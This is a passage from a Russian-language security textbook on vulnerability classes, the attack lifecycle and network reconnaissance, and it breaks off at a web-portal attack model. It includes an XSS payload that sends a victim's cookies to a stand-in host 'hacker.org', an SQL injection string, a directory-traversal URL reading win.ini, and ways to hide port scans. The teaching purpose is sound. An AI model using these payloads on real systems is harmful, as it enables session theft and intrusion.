Несанкционированное извлечение данных из таблиц СУБД возможно путём несанкционированного искажения не только запроса SELECT, но и INSERT. Оператор INSERT используется для добавления информации в базы данных ИС. Активизация уязвимости «SQL Injection» в операторе INSERT возможна в том случае, если уязвимое приложение предусматривает возможность добавления в СУБД информации, вводимой пользователем, а также позволяет просматривать добавленные данные. Продемонстрируем вышесказанное следующим примером. Предположим, что в приложении проводится процедура регистрации пользователя, где он вводит свои персональные данные, которые затем при помощи INSERT-запроса записываются в таблицу TableName:
INSERT INTO TableName VALUES ('" & strValueOne &
"', '" & strValueTwo & "', '" & strValueThree & "')"
При этом после прохождения процедуры регистрации пользователь имеет возможность просмотреть ранее введённые данные. С целью модификации исходного SQL-запроса нарушитель может ввести вместо одной из переменных strValueOne, strValueTwo или strValueThree SQL-запрос типа «’ + (SELECT TOP 1 FieldName FROM OtherName) + ‘». Это позволит злоумышленнику добавить в таблицу TableName не только свои персональные данные, но и информацию, извлечённую из СУБД при помощи вставленного запроса SELECT. Нарушитель может получить доступ к извлечённой информации при просмотре своих персональных данных.
Активизация уязвимости «SQL Injection» с целью несанкционированного изменения данных в СУБД
Для несанкционированного изменения содержимого таблиц SQL-сервера нарушитель может воспользоваться уязвимостью, базирующейся на возможности модификации исходного SELECT-запроса. Для внесения изменений в текст запроса необходимо добавить лишь оператор INTO, в параметрах которого указывается имя таблицы БД, куда необходимо добавить сделанную выборку. В результате такого изменения должен получиться запрос следующего типа: «SELECT <критерии выборки> FROM <имя таблицы, в которой делается выборка> INTO <имя таблицы, куда должна быть записана выборка>».
Активизация уязвимости «SQL Injection» с целью нарушения работоспособности SQL-сервера
Работоспособность SQL-сервера может быть нарушена при помощи несанкционированного использования рассмотренных выше запросов SELECT с параметром INTO. Для этого нарушителю достаточно сформировать их последовательность, которая предусматривала бы запись избыточного объёма информации в базу данных. После заполнения свободного дискового пространства работа сервера СУБД будет нарушена.
1.2.3. Уязвимости «format string»
Уязвимости типа «format string» («форматирующая строка»), могут быть характерны для тех приложений, в которых используются функции типа printf() с непроверяемым параметром форматирующей строки. Форматирующая строка используется для определения общего числа параметров вызова функции, а также правил преобразования параметров вызова в символьные значение. В листинге 1.4 приведён фрагмент исходного кода программы, в котором используется функция printf(), выводящая на экран десятичные значения переменных i и j. Форматирующая строка функции printf(), приведённой в листинге, содержится в строковой переменной format_string.
int i = 10;
int j = 20;
char *format_string = “Переменная i = %d, переменная j = %d”;
printf(format_string, i, j);
Листинг 1.4. Пример использования функции printf()
Параметры форматирующей строки задаются при помощи управляющего символа «%». Так, например, параметр «%d» используется для вывода десятичного числа, а параметр «%x» - для вывода шестнадцатеричного значения. Каждому параметру форматирования соответствует один аргумент, который указывается сразу после форматирующей строки. Для двух параметров «%d», приведённых в листинге 1.4, аргументами являются переменные i и j. Необходимо отметить, что если в форматирующей строке определён параметр, но отсутствует его аргумент, то в этом случае на экран будет выведено содержимое участка памяти стека, где должен находиться параметр. В форматирующей строке также может быть использован параметр «%n», который позволяет записывать в произвольный адрес памяти значение, которое определяется до параметра.
Потенциальная уязвимость «format string» возникает в том случае, когда содержимое форматирующей строки задаётся не разработчиком программы, а формируется на основе непроверяемых входных параметров вызова одной из функций программы. Например, для вывода на экран строкового значения переменной str можно использовать два варианта записи функции printf():
1) printf(“%s”, str); – при таком варианте использования функции printf() форматирующая строка «%s» задаётся разработчиком в явном виде и не может быть скомпрометирована нарушителем;
2) printf(str); – такое использование функции printf() может привести к тому, что потенциальный нарушитель сможет самостоятельно сформировать значение форматирующей строки при помощи переменной str и активизировать уязвимость «format string» путём манипуляции со значениями параметров «%x» и «%n».
Несанкционированное использование параметра «%x» может позволить нарушителю получить доступ к содержимому любого участка памяти в стеке, а при помощи параметра «%n» возможно изменение адреса возврата функции путём записи нового значения и передачи управления на вредоносный код, размещённый в памяти компьютера.
Уязвимости класса «format string» могут быть присущи любым приложениям, которые некорректно используют следующие функции: fprintf(), printf(), snprintf(), vprintf(), vsprintf(), vsnprintf(), secproctitle() и syslog().
1.2.4. Уязвимости «Directory traversal»
Уязвимости типа «Directory traversal» («просмотр директорий») могут позволить злоумышленнику получить несанкционированный доступ к файловым ресурсам сервера в обход установленных правил разграничения доступа. Уязвимость может присутствовать в приложениях, которые работают с файловыми ресурсами, адреса которых динамически формируются на основе непроверяемых входных данных.
Рассмотрим особенности уязвимостей данного типа на примере ASP-приложения «getnews.asp», функционирующего в среде Web-сервера. Предположим, что данное приложение предназначено для вывода на экран пользователя содержимого новостного файла, имя которого подаётся на вход программе при помощи параметра «item». Так, например, при обращении к Web-серверу при помощи HTTP-запроса «http://192.168.0.1/ getnews.asp?item=1.html» приложение «getnews.asp» извлечёт из параметра «item» имя запрашиваемого файла – «1.html» и выведет его на экран браузера пользователя. Уязвимость данного приложения заключается в отсутствии проверки синтаксиса значения параметра «item», через который передаётся имя файла. С учётом этого потенциальный нарушитель может напрямую обратиться к рассматриваемому приложению, указав в параметре «item» имя файла, к которому он хочет получить доступ. При этом для перемещения по файловой системе Web-сервера злоумышленник может использовать служебные символы «../», которые дают возможность «перейти вверх» на один уровень иерархии в файловой системе. Таким образом, в результате HTTP-запроса «http://192.168.0.1/getnews.asp?item= ../../../../WINNT/win.ini» нарушитель сможет получить несанкционированный доступ содержимому системного файла «win.ini». Аналогичным образом злоумышленник может несанкционированно запустить приложение на стороне сервера.
1.2.5. Уязвимости «Cross Site Scripting»
Уязвимости типа «Cross Site Scripting» («межсайтовое выполнение сценариев») характерны для серверных Web-приложений, не предусматривающих проверку синтаксиса входных данных, на основе которых формируются HTML-документы, отправляемые пользователям. На основе данной уязвимости нарушитель может использовать одно из уязвимых Web-приложений для посылки пользователям вредоносного HTML-кода, при помощи которого злоумышленник может получить несанкционированный доступ к элементам «cookies» или перенаправить браузер пользователя на потенциально опасный Web-сайт. При этом вредоносный HTML-код будет запущен от имени Web-сервера, с которого он был загружен на рабочую станцию пользователя. Как правило, вредоносный код создаётся на основе сценарных языков программирования, таких как JavaScript, VBScript и др.
Рассмотрим пример атаки на основе уязвимости «Cross Site Scripting», направленной на получение несанкционированного доступа к ресурсам Web-сервера путём использования скомпрометированных элементов «cookies» . Предположим, что объектом атаки является Web-сервер «www.server.ru», для доступа к ресурсам которого пользователи должны пройти аутентификацию на основе пароля. При этом в результате аутентификации пользователю присваивается числовой идентификатор, который записывается в элемент «cookies» и используется в дальнейшем для автоматической проверки пользователя. В данном случае целью атаки является получение несанкционированного доступа к элементу «cookies» с целью его дальнейшего использования для доступа к ресурсам сервера от имени пользователя. Допустим, что на Web-сервере «www.server.ru» запущено служебное серверное приложение «ShowError.asp», которое предназначено для отображения информации об ошибке. На вход данному приложению подаётся параметр «error_text», содержащий текстовое описание ошибки, которое выводится на экран пользователя в виде HTML-документа. При этом в процессе работы приложения не проводится никаких проверок синтаксиса значения параметра «error_text», что даёт возможность нарушителю использовать этот параметр для передачи вредоносного HTML-кода. В этом случае злоумышленник может создать ссылку на уязвимое приложение следующего типа:
«<A HREF="http:// www.server.ru/ShowError.asp?error_text= <script>document.location. replace('http://hacker.org/steal.cgi?+document.cookie');</script>">Link Text </A>».
После этого злоумышленнику необходимо сделать так, чтобы один из легальных пользователей сервера «www.server.ru» обратился по указанной выше ссылке. Для этого нарушитель может разослать документ с такой ссылкой по электронной почте или разместить её на одном из общедоступных Интернет-форумов. Если кто-либо из таких пользователей обратится по приведённой выше ссылке, то автоматически будет сформирован запрос к уязвимому приложению «ShowError.asp», в процессе выполнения которого пользователю будет возвращён вредоносный HTML-код «<script> document.location.replace('http://hacker.org/steal.cgi? + document.cookie'); </script>». В результате запуска вредоносного кода будет выполнена функция «document.location.replace», которая несанкционированно передаст значение элемента «cookies» пользователя по адресу «http://hacker.org/steal.cgi». Используя полученное значение, злоумышленник сможет получить доступ к ресурсам сервера «www.server.ru» от имени одного из легальных пользователей.
1.2.6. Уязвимости программных реализаций стека TCP/IP
Уязвимости реализаций стека TCP/IP связаны с ошибками, которые допускаются программистами на этапе реализации программных модулей, отвечающих за обработку входящих и исходящих пакетов данных. В подавляющем большинстве уязвимости данного типа обусловлены тем, что в программах не предусматривается возможность обработки пакетов данных, которые имеют некорректную структуру или поля которых содержат нестандартные значения. Как правило, атаки на основе данных уязвимостей приводят к нарушению работоспособности узлов АС.
В качестве примера атаки, активизирующей уязвимость реализации стека TCP/IP можно привести атаку типа “Land”, смысл которой заключается в отправке узлу АС IP-дейтаграммы, в которой адрес отправителя совпадает с адресом получателя. Получив такую дейтаграмму, ОС узла АС попытается сформировать ответ, направив его как бы «самому себе», в результате чего в работе ПО узла может произойти сбой, что приведёт к нарушению его работоспособности. Пример IP-дейтаграммы, которая может быть использована для реализации атаки “Land”, приведёна на рис. 1.8.
4 (версия IP) Длина заголовка 0 (Тип сервиса) Общая длина
1234 (Идентификатор) 0 (Флаги) 0 (Смещение)
29 (Время жизни) 06 (Идентификатор протокола) Контрольная сумма
195.164.125.16 (IP-адрес получателя)
195.164.125.16 (IP-адрес отправителя)
0 (Опции) 0 (Выравнивание)
Поле данных IP-пакета
Рис. 1.8. Пример IP-дейтаграммы, при помощи которой реализуется атака “Land”
Рассмотренная атака основывается на уязвимости, которая связана с неправильной обработкой пакетов, в которых адрес отправителя совпадает с адресом получателя. Данная уязвимость характерна для ОС Windows Server 2003, а также Windows XP в которых не установлены соответствующие модули обновления ПО.
1.2.7. Уязвимости протоколов стека TCP/IP
В некоторых случаях ошибки и недостатки могут содержаться не только в программно-аппаратном обеспечении АС, но и в спецификациях и стандартах, описывающих протоколы стека TCP/IP. В основном такие недостатки связаны с отсутствием в протоколах встроенных средств защиты, что делает их уязвимыми к различным информационным атакам.
Для иллюстрации вышесказанного рассмотрим описание информационной атаки, основанной на уязвимости протокола ARP (Address Resolution Protocol). Этот протокол используется для преобразования IP-адресов хостов АС в соответствующие им аппаратные MAC-адреса. Ниже приводится краткое описание алгоритма штатной работы этого протокола на примере, когда рабочей станции необходимо определить аппаратный MAC-адрес сервера .
1) На первом шаге алгоритма рабочая станция отправляет широковещательный ARP-запрос, в одном из служебных полей которого указывается IP-адрес сервера .
2) Все узлы АС, находящиеся в одном сегменте вместе с рабочей станцией , включая сервер , получают и обрабатывают широковещательный ARP-запрос.
3) Распознав в ARP-запросе свой IP-адрес сервер отправляет рабочей станции ARP-ответ, в котором указывается свой аппаратный MAC-адрес. Все остальные узлы, получившие ARP-запрос, не выполняют никаких действий.
4) Получив ARP-ответ, рабочая станция использует содержащийся в ответе MAC-адрес для отправки данных непосредственно серверу .
В данном случае потенциальной уязвимостью является отсутствие встроенных средств аутентификации узлов, взаимодействующих между собой по протоколу ARP. В случае использования этой уязвимости в рассмотренном выше примере нарушитель сможет сформировать от имени сервера ложный ARP-ответ, содержащий MAC-адрес узла злоумышленника. Это приведёт к тому, что рабочая станция будет посылать информацию не серверу, а узлу нарушителя, что позволит ему получить несанкционированный доступ к информации, передаваемой между рабочей станцией и сервером (рис. 1.9).
Рис. 1.9. Схема реализации атаки на основе уязвимости протокола ARP
Рассмотренная уязвимость протокола ARP заложена в основу методов перехвата анализа пакетов данных, циркулирующих в коммутируемых средах.
Необходимо отметить, что уязвимости протоколов стека TCP/IP обусловлены тем, что на момент их проектирования не уделялось достаточно внимания вопросам информационной безопасности.
1.3. Жизненный цикл информационной атаки
Уязвимости АС, рассмотренные в разделе 1.2 могут использоваться злоумышленниками для реализации информационных атак на ресурсы АС. В целях систематизации информации о различных типах атак была разработана их классификация, которая показана на рис. 1.10. Основным отличием созданной классификации от существующих разработок в этой области является её взаимосвязь с классификационными схемами уязвимостей и последствий атак. Это позволяет использовать разработанную схему для определения не только типа атаки, но и причин её возникновения, а также последствий, к которым может привести классифицируемая атака.
Рис. 1.10. Классификация информационных атак на АС
Согласно разработанной классификации любая атака в общем случае может быть разделена на четыре стадии:
• стадия рекогносцировки. На этом этапе нарушитель осуществляет сбор данных об объекте атаки, на основе которых планируются дальнейшие стадии атаки. Примерами такой информации являются: тип и версия операционной системы (ОС), установленной на узлах АС, список пользователей, зарегистрированных в системе, сведения об используемом прикладном ПО и др. При этом в качестве объектов атак могут выступать рабочие станции пользователей, серверы, а также коммуникационное оборудование АС;
• стадия вторжения в АС. На этом этапе нарушитель получает несанкционированный доступ к ресурсам тех узлов АС, по отношению к которым совершается атака;
• стадия атакующего воздействия на АС. Данный этап направлен на достижение нарушителем тех целей, ради которых предпринималась атака. Примерами таких действий могут являться нарушение работоспособности АС, кража конфиденциальной информации, хранимой в системе, удаление или модификация данных системы и др. При этом атакующий может также осуществлять действия, которые могут быть направлены на удаление следов его присутствия в АС;
• стадия дальнейшего развития атаки. На этом этапе выполняются действия, которые направлены на продолжение атаки на ресурсы других узлов АС.
Схематично стадии жизненного цикла информационной атаки изображены на рис. 1.11.
Рис. 1.11. Жизненный цикл типовой информационной атаки на ресурсы АС
Информационные атаки могут быть классифицированы как внешние или внутренние. Внешние сетевые атаки проводятся извне АС, т.е. с тех узлов, которые не входят в состав системы. Примером внешней сетевой атаки являются вторжение нарушителя в ЛВС из сети Интернет. Внутренние атаки проводятся изнутри АС с одного из её серверов или рабочих станций. В качестве примера такой атаки можно привести действия сотрудника компании, направленные на утечку конфиденциальной информации.
В качестве потенциальных целей злоумышленников могут выступать рабочие станции, серверы, коммуникационное оборудование, а также каналы связи АС. При этом если атака проводится по сети, то она может быть соотнесена с одним из пяти уровней модели ВОС.
Атаки могут носить однонаправленный или распределённый характер. Распределённые атаки, в отличие от однонаправленных, проводятся одновременно из нескольких источников. Примером служат распределённые атаки типа «отказ в обслуживании», которые реализуются путём формирования и одновременной посылки из нескольких источников большого числа пакетов данных узлам, являющимся объектами атаки.
Для того, чтобы лучше понять специфику реализации информационной атаки рассмотрим более подробно каждую из стадий её жизненного цикла.
1.3.1. Стадия рекогносцировки
Действия злоумышленника на этапе рекогносцировки направлены на сбор информации, которая используется для выбора методов и средств для дальнейшей реализации атаки. Как правило, для сбора искомой информации используются методы сетевого сканирования. В процессе проведения сканирования злоумышленник посылает хостам по сети серию запросов, после чего анализирует полученные ответы с целью получения необходимых данных. Наиболее распространёнными методами сканирования являются:
сканирование системы на основе протокола ICMP (Internet Control Message Protocol);
сканирование портов, позволяющее получить информацию о сетевых службах, запущенных на хостах АС;
сканирование, предназначенное для идентификации типа операционной системы, установленной на узлах АС;
сканирование прикладных сервисов АС, направленное на получение информации о зарегистрированных пользователях, общедоступных информационных ресурсах и др.
Основное назначение протокола ICMP заключается в формировании диагностических сообщений о работе сетевого оборудования. Эти же служебные ICMP-сообщения могут использоваться для сканирования узлов АС. В таблице 1.3 приведены различные типы сообщений протокола ICMP, а также информация, которая может быть получена с их помощью.
Таблица 1.3
Методы сканирования на основе протокола ICMP
№ Тип ICMP-сообщения Информация, которая может быть получена
1 0
(ICMP Echo) Данный тип ICMP-сообщения может использоваться для определения работоспособности хоста. В процессе сканирования узлу посылается сообщение «ICMP Echo», после чего ожидается получение сообщения «ICMP Echo Reply». Получение такого сообщения означает, что сканируемый хост работоспособен и доступен по сети
2 13
(ICMP Timestamp) Сообщение «ICMP Timestamp» может использоваться для определения системного времени, установленного на сканируемом узле. Искомая информация будет передана посредством сообщения «ICMP Timestamp Reply»
3 17
(ICMP Address Mask) Использование сообщения типа «ICMP Address Mask» позволяет получить информацию об используемой маске сетевого адаптера сканируемого хоста
Для автоматизации процесса ICMP-сканирования могут использоваться различные программные утилиты. Так, например, в состав любой ОС входит служебная утилита «ping», которая позволяет определить доступность узла путём посылки сообщений типа «ICMP Echo». Другими примерами подобных утилит являются «icmpush» и «icmpquery».
Легко видеть, что ICMP-сканирование позволяет получить лишь базовую информацию о работоспособности узлов, а также некоторых других параметрах функционирования системы. Для того, чтобы определить перечень сетевых сервисов, используемых в АС, могут применяться различные способы сканирования TCP- и UDP-портов. На сегодняшний день можно выделить следующие основные методы сканирования портов:
1). Метод «TCP Connect», который реализуется путём попытки установления TCP-соединения по заданному порту. В случае, если соединение успешно устанавливается, то это означает, что порт является открытым, в противном случае – закрытым. При этом, согласно стандарту RFC 793, в данном методе сканирования реализуется полноценный трёхступенчатый алгоритм установления TCP-соединения, который схематично показан на рис. 1.12.
Рис. 1.12. Схема установления TCP-соединения между клиентом и сервером
2). Метод «TCP SYN», который, в отличие от предыдущего способа, не предполагает полноценного установления TCP-соединения. При использовании данного метода сканируемому узлу посылается только TCP-пакет с флагом SYN. Если в ответ на это сообщение поступает пакет TCP-пакет с флагами SYN и ACK, то порт считается открытым. Если же порт закрыт, то в ответ должен быть получен пакет с флагом RST. Рассмотренный метод также называется «полуоткрытым» сканированием поскольку использует только первый этап установления TCP-соединения.
3). Метод «SYN/ACK», согласно которому сканируемому узлу направляется TCP-пакет с флагами SYN и ACK, что соответствует второму этапу установления TCP-соединения (рис. 1.12). В случае, если сканируемый порт является закрытым, то в ответ будет получено сообщение с флагом RST. При поступлении пакета с флагами SYN и ACK на открытый порт, он будет отброшен.
4). Метод «TCP FIN», при использовании которого хосту посылается TCP-пакет с установленным флагом FIN. В случае если порт, на который посылается такое сообщение, является закрытым, то тогда в ответ должен быть направлен пакет с флагом RST. Данный метод сканирования применим только для ОС класса UNIX, поскольку в системах Windows не предусмотрена отправка каких-либо пакетов в ответ на TCP-пакеты с флагом FIN.
5). Метод «XMAS tree», в процессе применения которого хосту направляется TCP-пакет с установленными флагами FIN, URG и PUSH. В результате сканирования хост должен послать в ответ сообщение с флагом RST для всех закрытых портов.
6). Метод нулевого сканирования, который предполагает посылку хосту TCP-пакета, в котором отсутствуют установленные флаги. В соответствии со стандартом RFC 793 операционная система сканируемого хоста должна отправить в ответ TCP-пакет с флагом RST для всех закрытых портов.
7). Метод скрытого сканирования «FTP Bounce», который позволяет скрыть реальный источник сканирования за счёт использования промежуточных файловых FTP-серверов. Для реализации данного метода злоумышленнику достаточно подключиться к одному из общедоступных FTP-серверов, после чего при помощи команды PORT попытаться установить соединение со сканируемым хостом по указанному адресу и порту. Затем необходимо выполнить команду LIST для проверки статуса установленного соединения. Если сканируемый порт открыт, то тогда от FTP-сервера будет получен ответ с кодами 150 и 226, в противном случае поступит сообщение с кодом 425 (рис. 1.13). Рассмотренный режим работы протокола FTP более подробно описан в спецификации RFC959.
Рис. 1.13. Схема проведения скрытого сканирования с использованием FTP-сервера
8). Метод «Ident», который предполагает использование в процессе сканирования одноимённой сетевой службы ident, характерной для систем класса UNIX. При помощи данной службы удалённые пользователи имеют возможность получить информацию о текущих сетевых соединениях, установленных с сервером. Для этого пользователю достаточно подключиться к службе ident по 113-му порту и ввести в качестве входных данных номера портов отправителя и получателя, после чего будет получена информация о сетевом соединении, соответствующему введённым параметрам. При помощи перебора значений портов отправителя и получателя потенциальный нарушитель может получить информацию обо всех текущих соединениях и тем самым определить список открытых портов.
9). Метод сканирования UDP-портов, в процессе которого на заданное множество портов посылается пакет UDP. В случае получения в ответ сообщения «ICMP port unreachable», то это будет означать что порт закрыт, в противном случае порт может считаться открытым. Однако, учитывая от факт, что стандарте, описывающем протокол UDP, не определены методы реагирования на UDP-пакеты, поступающие на закрытые порты, то точность этого метода зависит от конкретных типов ОС.
Необходимо отметить, что рассмотренные методы сканирования TCP-портов применимы не ко всем ОС. В частности, некоторые типы систем формируют TCP-пакеты с флагом RST не только по отношению к открытым, но и закрытым портам.
В целях маскирования своих действий по сканированию портов узлов АС злоумышленники могут использовать один из следующих способов:
использование фрагментированных IP-дейтаграмм и TCP-пакетов, разделённых на несколько пакетов данных меньшего размера;
проведение сканирование портов с определённой временной задержкой. Так, например, для того, чтобы не вызвать подозрений злоумышленники сканировать лишь по несколько портов в день;
сканирование хостов от имени ложных хостов путём подмены реального IP-адреса отправителя.
Использование всех вышеперечисленных способов маскирования направлено на усложнение процесса обнаружения попыток сканирования средствами защиты АС.
После определения списка открытых портов действия нарушителя могут быть направлены на идентификацию прикладных сервисов, которые на них запущены. Для этого, как правило, применяется метод сбора и анализа заголовков ответов (banners) на посланные запросы. В таких заголовках может содержаться информация о типе и версии прикладного ПО, прослушивающего сканируемый порт, и, в некоторых случаях, информация об ОС и аппаратной платформе узла. Текст заголовка можно получить при помощи стандартных утилит типа «telnet». Так, например, на рис. 1.14 приведён пример заголовка, который был получен в ответ на попытку установить соединение с хостом «ftp.netscape.com» по 21-му порту при помощи telnet.
> telnet ftp.netscape.com 21
Trying 207.200.74.26 ...
Connected to ftp.netscape.com.
Escape character is '^]'.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
Рис.1.14. Вывод утилиты telnet при попытке установить соединение с хостом ftp.netscape.com
На основе информации, показанной на рис. 1.14, можно определить, что на 21-м порте сканируемого хоста запущен FTP-сервер, функционирующий под управлением ОС Sun Solaris.
В настоящее время в сети Интернет существует большое количество программных утилит, позволяющие провести сканирование портов и идентификацию сетевых сервисов АС при помощи рассмотренных выше методов. Наиболее распространёнными программами этого типа являются «strobe», «netcat», «portscan» и «nmap».
Кроме сканирования портов на этапе рекогносцировки нарушитель также может совершать действия, направленные на сбор информации о типе ОС, установленной на узлах системы. Для определения типа ОС может быть использован рассмотренный выше метод сбора и анализа заголовков, возвращаемых сетевыми службами. В тех случаях, когда не представляется возможным определить тип ОС на основе полученных заголовков, то может использовать другой метод, который основан на том факте, что разные системы по-разному реализуют требования стандартов RFC, в которых определены правила взаимодействия на основе различных сетевых протоколов. Таким образом, при формировании одних и тех же сетевых запросов разные ОС в ответ отправляют отличные друг от друга данные, на основе которых можно с большой долей вероятности определить характеристики используемой ОС. Данный метод в некоторых случаях также позволяет определить тип аппаратной платформы, на основе которой функционирует та или иная ОС. Ниже приводится описание методов, которые могут быть использованы для идентификации типа ОС с учётом различных реализаций стека TCP/IP:
1). Метод «FIN Probe», который подразумевает посылку сканируемому хосту TCP-пакета с установленным флагом FIN. Согласно спецификации RFC 793 узлы не должны отвечать на такие сообщения, однако некоторые типы ОС, такие как Windows, BSDI, Cisco, HP/UX, MVS и IRIX отправляют в ответ TCP-пакет с флагами FIN и ACK.
2). Метод «BOGUS flag Probe», при использовании которого сканируемому хосту посылается TCP-пакет с неопределённым флагом. Некоторые ОС передают аналогичный флаг в ответе на такое сообщение. Примером таких ОС является Linux, версия ядра которой меньше 2.0.35.
3). Метод анализа значений начальных порядковых номеров ISN (Initial Sequence Numbers), которые используются для идентификации TCP-соединения. Данный метод основан на том факте, что различные ОС используют разные способы для генерации номеров ISN.
4). Метод анализа значения флага DF (Don’t Fragment). Некоторые типы ОС устанавливают в отправляемых IP-пакетах флаг DF в целях повышения производительности.
5). Метод анализа начального размера окна TCP. Данный метод позволяет идентифицировать тип ОС на основе значения размерности окна TCP, которое устанавливается различными ОС. Так, например, системы класса Windows используют значение «0x402E», в то время как системы AIX – «0x3F25».
6). Метод анализа номеров подтверждения (Acknowledge Number) в полях TCP-пакетов. Метод базируется на том предположении, что различные типы ОС по-разному формируют значения номеров подтверждения.
7). Метод анализа частоты поступления ICMP-сообщений об ошибках. Согласно стандарту RFC 1812 операционные системы должны ограничивать частоту посылки ICMP-сообщений об ошибках. Некоторые ОС, такие как Linux, выполняют это требование, что делает возможным их идентификацию путём формирования большого количества UDP-пакетов на закрытый порт и анализа частоты поступления сообщений об ошибках.
8). Метод анализа текста сообщений об ошибках в ICMP-пакетах. Различные виды ОС отсылают разный объём информации для одних и тех же сообщений об ошибках. Эта особенность позволяет определить тип ОС путём анализа полученного текста сообщения.
9). Метод проверки целостности поступающих ICMP-сообщений об ошибках. Согласно спецификации протокола ICMP все сообщения об ошибках должны также содержать копию исходного IP-пакета, в ответ на которой и отсылается сообщение. Однако некоторые ОС модифицируют исходные поля IP-пакета в возвращаемых сообщениях, что даёт возможность провести их идентификацию.
10). Метод анализа поля «Type of Service», который основан на проверке поля «ToS» сообщений «ICMP port unreachable». В зависимости от типа ОС в этом поле будут содержаться различные числовые значения.
11). Метод сканирования на основе фрагментированных IP-дейтаграмм. Метод основан на том, что различные ОС по-разному обрабатывают некорректным образом фрагментированные пакеты данных. В зависимости от результатов этой обработки имеется возможность идентифицировать тип ОС.
12). Метод сканирования с использованием различных параметров TCP, который предполагает анализ реакции узла на TCP-пакеты с различными значениями в поле «Параметры» (Options).
Наиболее распространённой утилитой для идентификации типа ОС является «nmap» (http://www.insecure.org/nmap/), в которой реализовано большинство из рассмотренных методов сканирования ОС.
Ещё одним методом сбора информации о параметрах системы может являться сканирование прикладных сервисов, работающих в АС. В данном случае для проведения сканирования используются протоколы прикладного уровня стека TCP/IP, которые поддерживаются прикладными сервисами. В качестве примера методов сканирования этой группы можно привести следующее:
1). Метод SNMP-сканирования. Протокол SNMP (Simple Network Management Protocol) предназначен для мониторинга и управления параметрами работы хостов АС. В основу данного протокола заложена модель взаимодействия между агентом и менеджером, в рамках которой в качестве агента выступает управляемый программный модуль, выполняющий функции сбора необходимой информации о работе АС, а также выполнения команд, полученных от менеджера. Агенты SNMP могут быть установлены на рабочих станциях пользователей, серверах, коммуникационном оборудовании и других узлах АС. При этом на стороне агентов информация хранится в специальных структурированных базах данных MIB (Management Information Base). Сканирование заключается в извлечении информации из MIB-баз агентов при помощи SNMP-запросов. Состав информации, которую можно получить при помощи SNMP-сканирования зависит от структуры баз данных MIB. Так, например, сканирование штатного SNMP-агента ОС Windows 2000 может позволить получить список зарегистрированных пользователей, перечень общедоступных файловых ресурсов, имя домена, сведения о запущенных службах и др.
2). Метод NetBIOS-сканирования, который позволяет использовать одноимённый протокол для получения информации о параметрах ОС Windows. Данный метод сканирования позволяет получать информацию о зарегистрированных пользователях, общедоступных файловых ресурсах, списке доменов Windows и др. При этом для сбора этой информации могут использоваться штатные утилиты ОС Windows, такие как «net view» и «nbtstat». Метод NetBIOS-сканирования основан на возможности анонимного подключения к общедоступному ресурсу IPC$, который по умолчанию присутствует в ОС Windows.
3). Сканирование при помощи сетевого сервиса finger. Служба finger используется в ОС класса UNIX для предоставления удалённым клиентам информации о пользователях, зарегистрированных в системе. Злоумышленник может сформировать запросы к данной службе с целью получения списка пользователей, работающих на сканируемом сервере.
4). Сканирование на основе протокола RPC. Протокол RPC (Remote Procedure Call) обеспечивает возможность взаимодействия распределённых приложений посредством удалённого вызова и исполнения процедур на стороне сервера. Согласно данному протоколу для получения доступа к приложению все клиенты сначала должны подключиться к так называемому картографу портов (RPC portmapper) который предоставляет возможность получения списка приложений, запущенных на сервере, а также номеров портов, по которым они доступны. Эта функциональная особенность протокола RPC может быть использована потенциальным злоумышленником для сбора информации о приложениях, присутствующих в АС.
Кроме рассмотренных выше методов сканирования существуют также и другие способы сбора информации, которые могут применяться нарушителем для получения необходимых данных. К таким способам можно отнести следующее:
анализ сетевого трафика посредством перехвата передаваемых пакетов данных. Для этого злоумышленник может использовать специальные программные анализаторы трафика, при помощи которых можно определить существующие информационные потоки АС, схему адресации узлов, а также типы сетевых сервисов, используемых в АС;
анализ информации, опубликованной в общедоступных источниках сети Интернет. Например, такие данные об особенностях АС организации могут присутствовать на её DNS-серверах или Web-сайтах. Подобная информация также может быть найдена в сообщениях Интернет-форумов, которые публикуются сотрудниками компании;
использование методов «социальной инженерии» для сбора необходимой информации у сотрудников компании. Методы этого типа предполагают использование обмана и мошенничества для получения нужных данных.
Основная задача сбора информации на этапе рекогносцировки заключается в поиске уязвимых мест АС, которые могут быть использованы при проведении дальнейших стадий атаки.
1.3.2. Стадия вторжения и атакующего воздействия
Методы реализации этапов вторжения и атакующего воздействия зависят от большого количества факторов, а именно от того откуда проводится атака, что является её целью, какими средствами защищена система, какие уязвимости используются во время атаки и др. С учётом этого для иллюстрации возможных действий нарушителя на этих этапах лучше всего рассмотреть несколько примеров различных моделей информационных атак.
Модель информационной атаки на общедоступный Web-портал
Web-порталы представляют собой автоматизированные системы, предназначенные для предоставления различных услуг и сервисов через сеть Интернет. Порталы этого типа могут применяться для решения самых разнообразных задач, таких, например, как реклама в сети Интернет характера деятельности компании, организация Интернет-торговли или же обеспечение работы системы «Клиент-Банк». Этому способствует тот факт, что на сегодняшний день на отечественном рынке информационных технологий представлено несколько готовых промышленных решений, на основе которых возможно построение полнофункциональных Web-порталов. К таким решениям относится семейство продуктов «Internet Information Services» компании Microsoft, «Sun ONE Portal» компании Sun Microsystems и «WebSphere» компании IBM.
Типовая архитектура Web-портала, как правило, включает в себя следующие основные компоненты:
• публичные Web-серверы, которые обеспечивают доступ пользователей сети Интернет к информационным ресурсам портала;
• кэш-серверы, обеспечивающие временное хранение копии ресурсов, к которым получали доступ Интернет-пользователи. При обращении к ресурсам Web-портала первоначально производится попытка извлечения ресурса из памяти кэша-серверов, и только если ресурс там отсутствует, то тогда запрос передаётся публичным Web-серверам. Использование кэш-серверов позволяет снизить нагрузку на основные публичные серверы, а также уменьшить время доступа пользователей к кэшированным ресурсам;
• DNS-серверы, обеспечивающие возможность преобразования символьных имён серверов Web-портала в соответствующие им IP-адреса;
• серверы приложений, на которых установлено специализированное программное обеспечение, предназначенное для управления информационным содержимым Web-портала;
• серверы баз данных, которые обеспечивают централизованное хранение информационных ресурсов Web-портала;
• коммуникационное оборудование, обеспечивающее взаимодействие между различными серверами Web-портала.
Как правило, серверы Web-порталов размещаются на территории Интернет-провайдеров, которые имеют возможность обеспечить необходимую полосу пропускания каналов, по которым серверы портала подключаются к сети Интернет. Управление Web-порталом в этом случае осуществляется удалённо через Интернет с АРМ. Обобщённая архитектура Web-портала изображена на рис. 1.15.
Рис. 1.15. Типовая архитектура Web-портала
